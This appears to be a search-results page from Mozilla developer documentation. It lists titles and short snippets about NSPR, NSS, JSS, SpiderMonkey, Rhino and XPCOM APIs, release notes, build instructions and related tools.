the string can be subsequently passed to pr_createiolayerstub to create a new file descriptor of that layer.
PR_Listen
syntax #include <prio.h> prstatus pr_listen( prfiledesc *fd, printn backlog); parameters the function has the following parameters: fd a pointer to a prfiledesc object representing a socket that will be used to listen for new connections.
PR_OpenSemaphore
if pr_sem_create is specified, the third argument is the access permission bits of the new semaphore (same interpretation as the mode argument to pr_open) and the fourth argument is the initial value of the new semaphore.
PR_Seek
new code should use pr_seek64 so that it can handle files larger than 2 gb.
PR_SetErrorText
the new value is copied into storage allocated and owned by nspr and remains there until the next call to pr_seterror or another call to pr_seterrortext.
PR_SetPollableEvent
syntax nspr_api(prstatus) pr_setpollableevent(prfiledesc *event); parameter the function has the following parameter: event pointer to a prfiledesc structure previously created via a call to pr_newpollableevent.
PR_Sleep
if ticks is not pr_interval_no_wait, pr_sleep uses an existing lock, but has to create a new condition for this purpose.
PR_WaitForPollableEvent
syntax nspr_api(prstatus) pr_waitforpollableevent(prfiledesc *event); parameter the function has the following parameter: event pointer to a prfiledesc structure previously created via a call to pr_newpollableevent.
NSPR API Reference
ol pr_findsymbolandlibrary finding symbols defined in the main executable program platform notes dynamic library search path exporting symbols from the main executable program process management and interprocess communication process management types and constants prprocess prprocessattr process management functions setting the attributes of a new process creating and managing processes multiwait receive system information and environment variables logging conditional compilation and execution log types and variables prlogmoduleinfo prlogmodulelevel nspr_log_modules nspr_log_file logging functions and macros pr_newlogmodule pr_setlogfile pr_setlogbuffering pr_logprint pr_logflush pr...
NSPR release process
announce the release in the mozilla nspr newsgroup.
Running NSPR tests
then you can detect regressions of the new version by comparing its test results with the benchmark.
NSPR
mailing list newsgroup rss feed related topics necko, nss ...
NSS CERTVerify Log
to create a log: #include "secport.h" #include "certt.h" certverifylog *log; arena = port_newarena(512); log = port_arenaznew(arena,log); log->arena = arena; you can then pass this log into your favorite cert verify function.
Certificate functions
mxr 3.2 and later cert_importcerts mxr 3.2 and later cert_isrootdercert mxr 3.8 and later cert_isusercert mxr 3.6 and later cert_keyfromdercrl mxr 3.4 and later cert_makecanickname mxr 3.4 and later cert_mergeextensions mxr 3.10 and later cert_nametoascii mxr 3.2 and later cert_newcertlist mxr 3.2 and later cert_newtempcertificate mxr 3.12 and later cert_nicknamestringsfromcertlist mxr 3.4 and later cert_opencertdbfilename mxr 3.2 and later cert_ocspcachesettings mxr 3.11.7 and later cert_pkixverifycert mxr 3.12 and later cert_removecertlistnode mxr 3.6 and later cert_rf...
NSS Code Coverage
nss - code coverage results link 2007-08-14 - solaris/sparc platform results explanation files results from every c file are on new line.
NSS FAQ
MozillaProjectsNSSFAQ
it contains bugs that were never fixed, doesn't support tls or or the new 56-bit export cipher suites, and does not contain the fix to the bleichenbacher attack on pkcs#1.
HTTP delegation
should the application be unable to keep a physical connection alive all the time, the application is expected to create new connections automatically.
HTTP delegation
should the application be unable to keep a physical connection alive all the time, the application is expected to create new connections automatically.
Introduction to Network Security Services
support for ilp32 in nss 3.2 and later versions, there are two new shared libraries for the platforms hp-ux for parisc cpus and solaris for (ultra)sparc (not x86) cpus.
Build instructions for JSS 4.3.x
build instructions for jss 4.3.x newsgroup: mozilla.dev.tech.crypto before building jss, you need to set up your system as follows: build nspr/nss by following the nspr/nss build instructions, to check that nss built correctly, run all.sh (in mozilla/security/nss/tests) and examine the results (in mozilla/test_results/security/computername.#/results.html.
Build instructions for JSS 4.4.x
build instructions for jss 4.4.x newsgroup: mozilla.dev.tech.crypto to build jss see upstream jss build/test instructions next, you should read the instructions on using jss.
JSS FAQ
MozillaProjectsNSSJSSJSS FAQ
jss frequently asked questions newsgroup: mozilla.dev.tech.crypto content: what versions of jdk and jce do you suggest?
Using JSS
MozillaProjectsNSSJSSUsing JSS
using jss newsgroup: mozilla.dev.tech.crypto if you have already built jss, or if you are planning to use a binary release of jss, here's how to get jss working with your code.
NSS Memory allocation
when nss attempts to allocate more memory for an arena pool, the plarenapool code attempts to use an arena from its free list, and only gets a new arena from the heap if there are no arenas in the free list that are large enough to satisfy the request.
NSS 3.29 release notes
nss 3.29 requires netscape portable runtime (nspr) 4.13.1 or newer.
NSS 3.32 release notes
nss 3.32 requires netscape portable runtime (nspr) 4.16, or newer.
NSS 3.42.1 release notes
nss 3.42.1 requires nspr 4.20 or newer.
NSS 3.47 release notes
nss 3.47 requires nspr 4.23 or newer.
NSS 3.49 release notes
nss 3.49 requires nspr 4.24 or newer.
NSS 3.50 release notes
nss 3.50 requires nspr 4.25 or newer.
NSS 3.51.1 release notes
nss 3.51.1 requires nspr 4.25 or newer.
NSS 3.51 release notes
nss 3.51 requires nspr 4.25 or newer.
NSS 3.54 release notes
nss 3.54 requires nspr 4.26 or newer.
NSS Sample Code sample5
npftw4srftz2onuzyluzdhzdb+k//8dct3iaozuui3r2emcaweaaq==" #define base64_encoded_privatekeyinfo "miibvqibadanbgkqhkig9w0baqefaascat8wgge7ageaakeavcxpmhzckriy6cj5rz89tdb4sm/8v4hfbumlzpziekw1biysw3pag1tpittmmdl1v6t//x1xpcga7nrsldhz4widaqabakeajh8+4qncwcmgivnm6ytbpqt+k/jeoexg2bqhjojvnxn3fazgcefxvpuibcjvfaijs9ybcmozzrato0+k2hwnoqihaoc4nvbo8fqhzs4yxm1m86kml47fa9ui//oufbhladw1aiea2dbmixnsbokb+ohver69p0gnewlvcjc9bjdvfdlvslcciqcptv3vgyjv2vdwxqzqahc+yb4gigaqoqbcbmjd3lyflqiga+vtydunoqwtzwve4grf7izk2v5ccnhg3gr5rgwxn58cigccaforruksm66isg0iti04g9v/w+wmx91wjeeb+qbz" int main(int argc, char **argv) { secstatus rv; certcertificate *cert = null; seckeypublickey *pubkey = null; certsubjectpublickeyinfo *spki = null; seckeyprivatekey *pvtkey = null; int modulus_len, i,...
NSS Sample Code
see https://bugzilla.mozilla.org/show_bug.cgi?id=490238 you are welcome to download the new samples via: hg clone https://hg.mozilla.org/projects/nss; cd nss; hg update samples_branch the new samples: /docs/mozilla/projects/nss/new_nss_samples ...
nss tech note1
it is useful to debug your templates or when writing new templates if they don't work.
nss tech note4
there is a long list of pre-defined oids, and new ones can be added dynamically by an application.
nss tech note6
the new checksum file is called libsoftokn3.chk on unix/linux and softokn3.chk on windows.
nss tech note7
*/ inpubkey.m_modulus.type = siunsignedinteger; inpubkey.m_exponent.type = siunsignedinteger; arena = port_newarena(der_default_chunksize); sec_asn1encodeitem(arena, &derpubkey, &inpubkey, myrsapublickeytemplate); pubkey = seckey_importderpublickey(&derpubkey, ckk_rsa); port_freearena(arena, pr_false); public keys may be extracted from certificates.
NSS Tech Notes
nss technical notes newsgroup: mozilla.dev.tech.crypto nss technical notes provide latest information about new nss features and supplementary documentation for advanced topics in programming with nss.
Overview of NSS
every nss release is backward compatible with previous releases, allowing nss users to upgrade to the new nss shared libraries without recompiling or relinking their applications.
PKCS11 module installation
note: the information in this article is specific to firefox 3.5 and newer.
PKCS 7 functions
the public functions listed here perform pkcs #7 operations required by mail and news applications and by some of the nss tools.
FC_InitToken
n, ck_ulong ulpinlen, ck_char_ptr plabel ); parameters fc_inittoken() has the following parameters: slotid the id of the token's slot ppin the password of the security officer (so) ulpinlen the length in bytes of the so password plabel points to the label of the token, which must be padded with spaces to 32 bytes and not be null-terminated description fc_inittoken() initializes a brand new token or re-initializes a token that was initialized before.
FC_UnwrapKey
description fc_unwrapkey unwraps (decrypts) a key and creates a new key opbject.
NSC_InitToken
ck_ulong ulpinlen, ck_char_ptr plabel ); parameters nsc_inittoken() has the following parameters: slotid the id of the token's slot ppin the password of the security officer (so) ulpinlen the length in bytes of the so password plabel points to the label of the token, which must be padded with spaces to 32 bytes and not be null-terminated description nsc_inittoken() initializes a brand new token or re-initializes a token that was initialized before.
NSS_Initialize
this should occur after a new flag is defined for c_initialize by the pkcs#11 working group.
NSS Key Functions
when an application makes a copy of a particular certificate or key structure that already exists in memory, ssl makes a shallow copy--that is, it increments the reference count for that object rather than making a whole new copy.
NSS tools : cmsutil
if this is the first encrypted message for that set of recipients, a new enveloped message will be created that you can then use for future messages (encrypt only).
troubleshoot.html
troubleshooting nss and jss builds newsgroup: mozilla.dev.tech.crypto this page summarizes information on troubleshooting the nss and jss build and test systems, including known problems and configuration suggestions.
OLD SSL Reference
upgraded documentation may be found in the current nss reference ssl reference newsgroup: mozilla.dev.tech.crypto writer: sean cotter manager: wan-teh chang chapter 1 overview of an ssl application ssl and related apis allow compliant applications to configure sockets for authenticated, tamper-proof, and encrypted communications.
pkfnc.html
this function will return the newest certificate that matches the subject, based on the notbefore / notafter fields of the certificate.
sslcrt.html
when an application makes a copy of a particular certificate or key structure that already exists in memory, ssl makes a shallow copy--that is, it increments the reference count for that object rather than making a whole new copy.
sslkey.html
when an application makes a copy of a particular certificate or key structure that already exists in memory, ssl makes a shallow copy--that is, it increments the reference count for that object rather than making a whole new copy.
S/MIME functions
_cmsmessage_getcontentinfo mxr 3.2 and later nss_cmsmessage_isencrypted mxr 3.4.1 and later nss_cmsmessage_issigned mxr 3.4 and later nss_cmsrecipientinfo_create mxr 3.2 and later nss_cmsrecipientinfo_createfromder mxr 3.8 and later nss_cmsrecipientinfo_createnew mxr 3.8 and later nss_cmsrecipientinfo_createwithsubjkeyid mxr 3.7 and later nss_cmsrecipientinfo_createwithsubjkeyidfromcert mxr 3.7 and later nss_cmsrecipientinfo_destroy mxr 3.2 and later nss_cmsrecipientinfo_encode mxr 3.8 and later nss_cmsrecipientinfo_g...
modutil-tasks.html
nss security tools: modutil tasks newsgroup: mozilla.dev.tech.crypto task list the jar installation script is very fragile with respect to platform definitions (especially version numbers).
NSS Tools dbck-tasks
nss security tools: dbck tasks newsgroup: mozilla.dev.tech.crypto task list in analyze mode, there should be an option to create a file containing a graph of the certificate database without any information about the user's certificates (no common names, email addresses, etc.).
NSS Tools modutil-tasks
nss security tools: modutil tasks newsgroup: mozilla.dev.tech.crypto task list the jar installation script is very fragile with respect to platform definitions (especially version numbers).
NSS Tools pk12util-tasks
nss security tools: pk12util tasks newsgroup: mozilla.dev.tech.crypto task list need to migrate code to use an up-to-date version of nss.
NSS Tools pk12util
using the pkcs #12 tool (pk12util) newsgroup: mozilla.dev.tech.crypto the pkcs #12 utility makes sharing of certificates among enterprise server 3.x and any server (netscape products or non-netscape products) that supports pkcs#12 possible.
NSS Tools signver-tasks
nss security tools: signver tasks newsgroup: mozilla.dev.tech.crypto task list remove private hash algortihms and replace with code in lib/hash, lib/crypto, and ...
NSS Tools ssltap
using the ssl debugging tool (ssltap) newsgroup: mozilla.dev.tech.crypto the ssl debugging tool is an ssl-aware command-line proxy.
NSS tools : cmsutil
MozillaProjectsNSStoolscmsutil
if this is the first encrypted message for that set of recipients, a new enveloped message will be created that you can then use for future messages (encrypt only).
Necko
mailing list newsgroup rss feed ...
Installing Pork
elsa (the c++ parser in pork) has a hard time with some of the new features used in later gcc c++ headers.
Pork
mailing list newsgroup rss feed #static on irc.mozilla.org related topics dehydra, treehydra, mozilla 2, spidermonkey ...
Download Rhino
binaries release release date change log download link rhino 1.7r4 2012-06-18 new in rhino 1.7r4 rhino1_7r4.zip rhino 1.7r5 2015-01-29 release notes rhino1_7r5.zip rhino 1.7.6 2015-04-15 release notes rhino1.7.6.zip rhino 1.7.7 2015-06-17 release notes rhino1.7.7.zip rhino 1.7.7.1 2016-02-01 release notes rhino1.7.7.1.zip rhino 1.7.7.2 2017-08-24 release notes rhino1.7.7.2.zip rhino 1.7.8 2018-01-22 release notes rhino1.7.8.zip rhino 1.7.9 2018-03-15 release notes rhino1.7.9.zip rhino 1.7.10 2018-04-09 release notes rhino1.7.10.zip ...
Rhino downloads archive
release release date change log download link rhino 1.7r4 2012-06-18 new in rhino 1.7r4 rhino1_7r4.zip rhino 1.7r3 2011-05-09 new in rhino 1.7r3 rhino1_7r3.zip rhino 1.7r2 2009-03-22 new in rhino 1.7r2 rhino1_7r2.zip rhino 1.7r1 2008-03-06 new in rhino 1.7r1 rhino1_7r1.zip rhino 1.6r7 2007-08-20 new in rhino 1.6r7 rhino1_6r7.zip rhino 1.6r6 2007-07-30 new in rhino 1.6r6 rhino1_6r6.zip rhino 1.6r5 2006-11-19 same code as 1.6r4, but relicensed under mpl/gpl.
Rhino optimization
for maximal optimization, use level 9, but retest your application when upgrading to new versions.
Rhino overview
toboolean boolean(new boolean(false)) is false for all versions before 1.3.
The JavaScript Runtime
the easiest way to define new host objects is by using scriptableobject.defineclass().
Shumway
click on "new issue" to file a new entry if a duplicate is not found.
FOSS
flusspferd - (newer) c++ bindings libjspp - c++ template based library for extending & embedding spidermonkey; works with spidermonkey 1.8.5 and above, has lots of goodies spiderape - the oldest c++ bindings for spidermonkey trixul - (trixul cvs) - trixul xml-based gui toolkit embeds spidermonkey, using javascript to implement logic behind its gui, supporting calls from javascript to c++ objects rust mozjs - rust bindings used by servo gnome gjs - javascript bindings to gnome (broadly, to a...
Self-hosted builtins in SpiderMonkey
if it doesn't fit into any of those, create a new .js file in that directory and add it to the selfhosted.inputs list in moz.build.
INT_FITS_IN_JSVAL
in this case, the application can still convert i to a jsval using js_newnumbervalue.
INT_TO_JSVAL
to convert any number to a jsval, regardless of whether it fits in an int jsval, use js_newnumbervalue instead.
JS::Compile
on success, js::compile stores an object representing the newly compiled script into script, and returns true.
JS::Construct
on success, *rval receives the newly created object from the constructor call.
JS::PersistentRooted
// initialize here persistentval.construct(rt, js::nullvalue()); // or // persistentval = new js::persistentrootedvalue(rt, js::nullvalue()); // [spidermonkey 38] // persistentval.init(rt, js::nullvalue()); // initialize context and global // ...
JSAutoByteString
char *encodelatin1(js::exclusivecontext *cx, jsstring *str) call js::lossytwobytecharstonewlatin1charsz, or allocate string and copy the content of jslinearstring::latin1chars, and take the ownership of the string.
JSEnumerateOp
see also mxr id search for jsenumerateop jsnewenumerateop jsclass ...
JSErrorReport
linebuf const char * text of the line that caused the error, minus the trailing newline character.
JSExtendedClass.wrappedObject
wrapper objects typically have no prototype, do not allow setting __proto__, and inherit properties from the wrapped object rather than the prototype chain (see jsnewresolveop).
JSMarkOp
all new code using spidermonkey 1.8 or later should use a jstraceop instead to ensure that the tracing apis work properly.
JSNative
this header is new, but the semantics it describes are applicable to all recent spidermonkey releases.
JSObjectOps.getProperty
if getting or setting, the new value is returned in *vp on success.
JSObjectOps.setProto
pobj jsobject * the new prototype or parent object.
JSRuntime
see also js_newruntime js_destroyruntime js_newcontext js_destroycontext ...
JSVAL_ONE
see also mxr id search for jsval_one int_to_jsval js_newcontext jsval_null jsval_void jsval_true jsval_false jsval_zero bug 1177825 -- removed ...
JSVAL_TO_STRING
(the difference is that the latter will convert an object, array, number, or other value to a string in a type-safe way, creating a new string if needed.) to convert the return type of this macro (jsstring *) to a char pointer, use js_getstringbytes.
JSVAL_ZERO
see also mxr id search for jsval_zero int_to_jsval js_newcontext jsval_null jsval_void jsval_true jsval_false jsval_one bug 1177825 -- removed ...
JS_AliasElement
see also js_defineelement js_deleteelement js_getarraylength js_getelement js_isarrayobject js_lookupelement js_newarrayobject js_setarraylength js_setelement bug 576034 ...
JS_CStringsAreUTF8
there are two ways to enable this: at compile time, by building spidermonkey with js_c_strings_are_utf8 defined; or at run time, by calling js_setcstringsareutf8 before the first call to js_newruntime.
JS_CallFunction
see also mxr id search for js_callfunction mxr id search for js_callfunctionname mxr id search for js_callfunctionvalue js_compilefunction js_definefunction js_definefunctions js_getfunctionobject js_newfunction js_valuetofunction bug 965830 ...
JS_ClearContextThread
(this is always the current thread id when the function is used properly.) js_newcontext automatically associates the new context with the calling thread.
JS_ClearDateCaches
see also mxr id search for js_cleardatecaches js_newdateobject js_newdateobjectmsec js_objectisdate bug 285615 replaced by js::resettimezone ...
JS_ClearRegExpStatics
see also mxr id search for js_clearregexpstatics js_newregexpobject js_newucregexpobject js_setregexpinput regexp ...
JS_CompileScript
on success, js_compilescript and js_compileucscript stores the newly compiled script to *script and returns true.
JS_CompileUTF8File
on success, js_compileutf8file returns an object that represents the newly compiled script.
JS_ContextIterator
js_contextiterator returns the new value of *iterp.
JS_ConvertArguments
(if conversion creates a new gc thing, the corresponding jsval is written back to argv, which is rooted.) description js_convertarguments provides a convenient way to translate a series of js values into their corresponding js types with a single function call.
JS_DecompileFunction
see also mxr id search for js_decompilefunction js_decompilescript js_callfunction js_callfunctionname js_callfunctionvalue js_compilefunction js_decompilefunctionbody js_definefunction js_definefunctions js_getfunctionobject js_newfunction js_setbranchcallback js_valuetofunction ...
JS_DecompileFunctionBody
see also mxr id search for js_decompilefunctionbody js_decompilescript js_callfunction js_callfunctionname js_callfunctionvalue js_compilefunction js_decompilefunction js_definefunction js_definefunctions js_getfunctionobject js_newfunction js_setbranchcallback js_valuetofunction ...
JS_DefineFunctions
see also mxr id search for js_definefunctions js_callfunctionname js_defineobject js_defineproperties js_newfunction bug 959787 - make fs type to const bug 825199 - added propertydefinitionbehavior ...
JS_DefineProperties
obj jsobject * the object on which to define new properties.
JS_DestroyContext
see also mxr id search for js_destroycontext mxr id search for js_destroycontextnogc mxr id search for js_destroycontextmaybegc js_newcontext bug 737364 ...
JS_DestroyScript
see js_newscriptobject for details.
JS_EnumerateDiagnosticMemoryRegions
syntax void js_enumeratediagnosticmemoryregions(jsenumeratediagnosticmemorycallback callback); name type description callback jsenumeratediagnosticmemorycallback pointer to the new callback function to use.
JS_EnumerateResolvedStandardClasses
syntax jsidarray * js_enumerateresolvedstandardclasses(jscontext *cx, jsobject *obj, jsidarray *ida); name type description description js_enumerateresolvedstandardclasses enumerates any already-resolved standard class ids into ida, or into a new jsidarray if ida is null.
JS_ExecuteScript
in ecmascript terms, the script is executed in a new execution context, but that context is not initialized quite as described in any of the three cases in ecma 262-3 §10.2.
JS_ExecuteScriptVersion
in ecmascript terms, the script is executed in a new execution context, but that context is not initialized quite as described in any of the three cases in ecma 262-3 §10.2.
JS_GET_CLASS
newer versions have removed the context argument, so that the same signature is used regardless whether or not the build is thread-safe.
JS_GetClass
newer versions have removed the context argument, so that the same signature is used regardless whether or not the build is thread-safe.
JS_GetElement
see also mxr id search for js_getelement js_defineelement js_deleteelement js_getarraylength js_isarrayobject js_lookupelement js_newarrayobject js_setarraylength js_setelement ...
JS_GetFunctionFlags
jsfun_constructor the function is native can be used as a constructor with the new keyword.
JS_GetGCParameter
jsgc_pretenure_group_threshold / "pretenuregroupthreshold" if more than this number of objects in a given object group are tenured, then pretenruing will be enabled for new objects in this group.
JS_GetPrivate
new objects' private data fields are initially null.
JS_GetRegExpFlags
see also mxr id search for js_getregexpflags js_newregexpobject js_newucregexpobject flags regexp bug 655641 ...
JS_GetRegExpSource
see also mxr id search for js_getregexpsource js_newregexpobject js_newucregexpobject regexp bug 655641 ...
JS_GetReservedSlot
they cannot be returned from functions, set as properties on objects, embedded in javascript arrays, and so on.) new objects' reserved slots are initialized to undefined.
JS_GetSecurityCallbacks
callbacks const jssecuritycallbacks * a pointer to the new callbacks for the runtime.
JS_GetStringCharAt
syntax bool js_getstringcharat(jscontext *cx, jsstring *str, size_t index, char16_t *res); char16_t js_getflatstringcharat(jsflatstring *str, size_t index); name type description cx jscontext * the context in which to create the new string.
JS_GetStringLength
see also mxr id search for js_getstringlength js_comparestrings js_convertvalue js_getemptystringvalue js_getstringbytes js_internstring js_newstringcopyn js_newstringcopyz js_valuetostring ...
JS_HasArrayLength
see also js_defineelement js_deleteelement js_getarraylength js_getelement js_isarrayobject js_lookupelement js_newarrayobject js_setarraylength js_setelement bug 657298 ...
JS_HasElement
see also mxr id search for js_haselement js_defineelement js_deleteelement js_getarraylength js_getelement js_isarrayobject js_lookupelement js_newarrayobject js_setarraylength js_setelement ...
JS_IsExternalString
this article covers features introduced in spidermonkey 17 determines whether or not the specified jsstring is an external string (that is, a string created by calling js_newexternalstring rather than js_newexternalstringwithclosure).
JS_IsGlobalObject
see also mxr id search for js_isglobalobject js_newglobalobject bug 797821 ...
JS_LeaveLocalRootScopeWithResult
in any case, all other newborn values protected by the local root scope, aside from rval, become subject to garbage collection.
JS_LookupElement
see also js_defineelement js_deleteelement js_getarraylength js_getelement js_isarrayobject js_newarrayobject js_setarraylength js_setelement bug 1094176 ...
JS_ObjectIsDate
see also mxr id search for js_objectisdate js_newdateobject js_newdateobjectmsec bug 625870 ...
JS_ObjectIsRegExp
see also mxr id search for js_objectisregexp js_newregexpobject js_newucregexpobject regexp bug 650931 ...
JS_ReportError
if the caller is in a jsapi callback, js_reporterror also creates a new javascript error object and sets it to be the pending exception on cx.
JS_SealObject
description js_sealobject prevents all write access to the object, either to add a new property, delete an existing property, or set the value or attributes of an existing property.
JS_SetArrayLength
see also mxr id search for js_setarraylength js_defineelement js_deleteelement js_getarraylength js_getelement js_isarrayobject js_lookupelement js_newarrayobject js_setelement ...
JS_SetCheckObjectAccessCallback
acb jscheckaccessop the new check-object-access callback.
JS_SetErrorReporter
example code with error handling omitted: class myrequest { public: void execute() { auto rt = js_newruntime(memlimit); js_setruntimeprivate(rt, this); js_seterrorreporter(rt, &myrequest::dispatcherror); // execute js } void onerror(const std::string& error) { // handle error } static void dispatcherror( jscontext* ctx, const char* message, jserrorreport* report) { auto rt = js_getruntime(ctx); ...
JS_SetGCZeal
9 incremental gc in two slices: 1) mark all 2) new marking and finish.
JS_SetObjectPrincipalsFinder
fop jsobjectprincipalsfinder the new object-principals-finder callback.
JS_SetOptions
options uint32 the new set of options.
JS_SetParent
(for some function objects, the parent chain is also used to implement lexical scoping, but this should be considered an implementation detail.) ordinarily an application sets a new object's parent by passing the parent object to js_newobject, and that is the preferred approach.
JS_SetPrincipalsTranscoder
px jsprincipalstranscoder the new principals transcoder.
JS_SetRegExpInput
see also mxr id search for js_setregexpinput js_newregexpobject js_newucregexpobject jsreg_multiline js_clearregexpstatics regexp ...
JS_SetScriptStackQuota
either immediately after js_newcontext or from the jscontext_new context callback.
JS_THREADSAFE
for each thread that is in a request: almost any call into the jsapi may trigger garbage collection; but garbage collection does not happen at any other time (such as, for example, at the moment before the return value of js_newobject is assigned to a rooted variable).
JS_ThrowStopIteration
in for…in and for each…in loops, the javascript engine can create an iterator object and call its .next method repeatedly, as described in new in javascript 1.7: iterators.
JS_ValueToBoolean
for versions greater than jsversion_1_2, all objects convert to js_true, even boolean wrapper objects like the one produced by new boolean(false).
JS_ValueToObject
if v is a boolean value, a number, or a string, the result is a new wrapper object of type boolean, number, or string.
Property attributes
assigning to obj.x, where obj inherits a non-shared property from its prototype, creates a new own data property on obj; the prototype's .x is not shared with its children.
Stored value
the new stored value is the result of getting or setting the property, after the getter or setter, if any, is called.
JSDBGAPI
jspd_enumerate jspd_readonly jspd_permanent jspd_alias jspd_argument jspd_variable jspd_exception jspd_error typedef jspropertydescarray js_propertyiterator js_getpropertydesc js_getpropertydescarray js_putpropertydescarray hooks js_setdebuggerhandler js_setsourcehandler js_setexecutehook js_setcallhook js_setobjecthook js_setthrowhook js_setdebugerrorhook js_setnewscripthook js_setdestroyscripthook js_getglobaldebughooks js_setcontextdebughooks memory usage js_getobjecttotalsize js_getfunctiontotalsize js_getscripttotalsize system objects js_issystemobject js_newsystemobject profiling these functions can be used to profile a spidermonkey application using the mac profiler, shark.
Setting up CDT to work on SpiderMonkey
select "new > makefile project with existing code" from the "file" menu.
Split object
a new approach for window was needed.
SpiderMonkey: The Mozilla JavaScript runtime
hacking on spidermonkey new to spidermonkey a guide to hacking on spidermonkey.
Thread Sanitizer
the build will then be created in a new subdirectory with that name.
Zest runtimes
python no code available yet if you are interested in working on an existing or new zest runtime then please get in touch via the zest group.
The Rust programming language
rust is a new open-source systems programming language created by mozilla and a community of volunteers, designed to help developers create fast, secure applications which take full advantage of the powerful features of modern multi-core processors.
Browser security
this article provides an overview of what these are and how they work.exploitable crashesthis article will help you determine if a crash is exploitable, find crashes which are exploitable, and to fix exploitable crashes.handling mozilla security bugsthis document describes how the new security organizational structure will work, and how security-related mozilla bug reports will be handled.pinning violation reportsif a site makes use of key pinning, and your browser sees a certificate chain for that site which does not match the pin, firefox will reject the connection and display an error page.
Setting up an update server
to move the installation, first call ./mach package, then you can either copy <obj dir>/dist/firefox to a new "install directory" elsewhere, or run the installer located in the <obj dir>/dist/install/sea.
Signing Mozilla apps for Mac OS X
it will guide you through creating a private key, certificate signing request, and importing your new developer id into the keychain access application on your mac.
Task graph
this means it's easy to add a new job or tweak the parameters of a job in a try push, eventually landing that change on an integration branch.
Gecko events
also see event_object_attribute_changed is supported: no event_text_caret_moved the caret has moved to a new position.
Gecko states
for example, a user can click on the titlebar for the object and drag the object to a new location.
The Places database
moz_hosts: one entry in this table is created each time you visit a new host.
Using the Places annotation service
var ioservice = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); var uri = ioservice.newuri("http://www.mozilla.org/", null, null); annotationservice.setpageannotation(uri, "my_extension/some_annotation", "this is the annotation value", 0, 0); retrieving annotations there are corresponding getters for the setters above (see nsiannotationservice.idl for the exact declarations): from c++: getpageannotationstring(auri, aname); getpageannotationint32(auri, aname); getpageanno...
Using the Places keywords API
.insert({ keyword: "my_keyword", url: "http://www.example.com/" postdata: "post+data=1&test=2" }).then(() => { /* success */ }, e => { /* failure */ }); note that setting an already existing keyword to a different url, will silently update the existing keyword to the new url.
FUEL
fuel is new in firefox 3.
Preface
important terms and new concepts are also italicized the first time they appear in the text.
Detailed XPCOM hashtable guide
pldhashtables can be allocated on the stack or the heap: when allocated on the stack, or as a c++ class member, the table must be initialized using pl_dhashtableinit, and finalized using pl_dhashtablefinish; when allocated on the heap, use pl_newdhashtable and pl_dhashtabledestroy to allocate and delete the table.
Receiving startup notifications
sometimes it's necessary for xpcom components to receive notifications as to the progress of the application's startup process, so they can start new services at appropriate times, for example.
XPCOM guide
MozillaTechXPCOMGuide
vices c++ namespace offers an easy and efficient alternative for obtaining a service as compared to the indirect xpcom approach: getservice(), callgetservice(), etc methods are expensive and should be avoided when possible.receiving startup notificationssometimes it's necessary for xpcom components to receive notifications as to the progress of the application's startup process, so they can start new services at appropriate times, for example.xpcom array guidemozilla has many array classes because each array is optimized for a particular usage pattern.
Components.Exception
syntax var exception = [ new ] components.exception([ message [, result [, stack [, data ] ] ] ]); parameters message a string which can be displayed in the error console when your exception is thrown or in other developer-facing locations, defaulting to 'exception' result the nsresult value of the exception, which defaults to components.results.ns_error_failure stack an xpcom stack to be set on the exception (defaulting to the current stack chain...
Components.ID
syntax var interfaceid = [ new ] components.id(iid); parameters iid a string of the format '{00000000-0000-0000-0000-000000000000}' giving the interface id of the interface description components.id creates interface ids for use in implementing methods like queryinterface, getinterfaces, and other methods that take interface ids as parameters.
Components.utils.evalInSandbox
for example: function double(n) { return n * 2; } // create new sandbox instance var mysandbox = new components.utils.sandbox("http://www.example.com/"); mysandbox.y = 5; // insert property 'y' with value 5 into global scope.
Components.utils.evalInWindow
ent.documentelement }; an add-on script or other privileged script can access the variable using evalinwindow(): // add-on-script.js var result = components.utils.evalinwindow("somelocalvariable", contentwindow); console.log(result); // {"name":"selection1","node":{}} the add-on code can modify the variable as well, of course: // add-on-script.js components.utils.evalinwindow("somelocalvariable.newprop = 42", contentwindow); // page-script.js console.log(window.somelocalvariable.newprop); // 42 but note that the add-on script must trust that the page script has not redefined the setter on somelocalvariable: unlike xraywrappers, evalinwindow() does not provide x-ray vision.
Components.utils
createobjectin() creates a new object, created in the scope of the specified object's compartment.
Components.utils.reportError
if it is not a javascript error object, the parameter is converted to a string and reported as a new error.
Components object
utils.createobjectin creates a new object in the scope of the specified object's compartment.
Development
list of open javaxpcom bugs open a new javaxpcom bug checkins within the last month ...
JavaXPCOM
mailing list newsgroup rss feed related topics xpcom, embedding mozilla ...
PlXPCOM
project page (mozdev) perl object definition (mozdev) developer's guide to perl xpcom (mozdev) newsgroup (mozdev) mailing list (mozdev) ...
Community
if you know of useful mailing lists, newsgroups, forums, or other communities related to pyxpcom, please link to them here.
RbXPCOM
project page (mozdev) manual (mozdev) mailing list (mozdev) newsgroup (mozdev) ...
HOWTO
nents.interfaces; // register resource://app/ uri let ios = cc["@mozilla.org/network/io-service;1"] .getservice(ci.nsiioservice); let reshandler = ios.getprotocolhandler("resource") .queryinterface(ci.nsiresprotocolhandler); let mozdir = cc["@mozilla.org/file/directory_service;1"] .getservice(ci.nsiproperties) .get("curprocd", ci.nsilocalfile); let mozdiruri = ios.newfileuri(mozdir); reshandler.setsubstitution("app", mozdiruri); // register chrome://* uris let cr = cc["@mozilla.org/chrome/chrome-registry;1"] .getservice(ci.nsichromeregistry); cr.checkfornewchrome(); } bug 546628 would make this unnecessary.
xpcshell
it should be executed under the window command prompt source_directory/obj-xxxxx/dist/bin> xpcshell.exe using the latest version of javascript at present, xpcshell doesn't use the latest version of javascript, so newer language features, such as the let statement introduced in javascript 1.7, are not available.
XPConnect
wrappers what sorts of wrappers xpconnect generates and uses xpconnect security membranes tools xpcshell join the xpcom community choose your preferred method for joining the discussion: mailing list newsgroup rss feed irc: #developers (learn more)tools: javascript component wizard, visual c++ component wizard, visual c++ component wizard for visual studio 2010 ...
NS_InitXPCOM2
the one exception is that you may call ns_newlocalfile or ns_newnativelocalfile to create a nsifile needed for the abindirectory parameter to ns_initxpcom2.
NS_InitXPCOM3
the one exception is that you may call ns_newlocalfile or ns_newnativelocalfile to create a nsifile needed for the abindirectory parameter to ns_initxpcom3.
Core XPCOM functions
ns_newlocalfilethe ns_newlocalfile function creates an instance of nsilocalfile that provides a platform independent representation of a file path.ns_newnativelocalfilethe ns_newnativelocalfile function creates an instance of nsilocalfile that provides a platform independent representation of a file path.ns_reallocreallocates a block of memory using the xpcom memory manager.ns_shutdownxpcomthe ns_shutdo...
nsAutoRef
